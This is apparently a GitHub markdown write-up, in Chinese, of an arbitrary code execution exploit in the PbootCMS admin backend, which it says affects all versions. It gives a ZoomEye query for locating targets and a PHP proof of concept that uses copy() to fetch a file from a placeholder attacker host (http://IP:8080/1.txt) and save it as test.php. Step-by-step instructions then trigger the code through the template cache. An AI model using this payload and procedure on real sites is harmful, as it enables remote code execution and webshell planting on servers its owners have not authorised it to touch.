Skip to content

Latest commit

 

History

History
32 lines (20 loc) · 816 Bytes

PbootCMS全版本后台通杀任意代码执行漏洞.md

File metadata and controls

32 lines (20 loc) · 816 Bytes

PbootCMS全版本后台通杀任意代码执行漏洞

ZoomEye

app:"PbootCMS"

poc

<?php

$test="copy";

$test("http://IP:8080/1.txt","test.php");

?>

在尾部信息和统计代码中(其他位置可能效果一样)插入php代码

image

然后来到全局配置-配置参数

打开动态缓存(如果本就打开 那则不需要打开) 点击右上角的清除缓存 image

image

然后随便点击任意文章,触发漏洞

image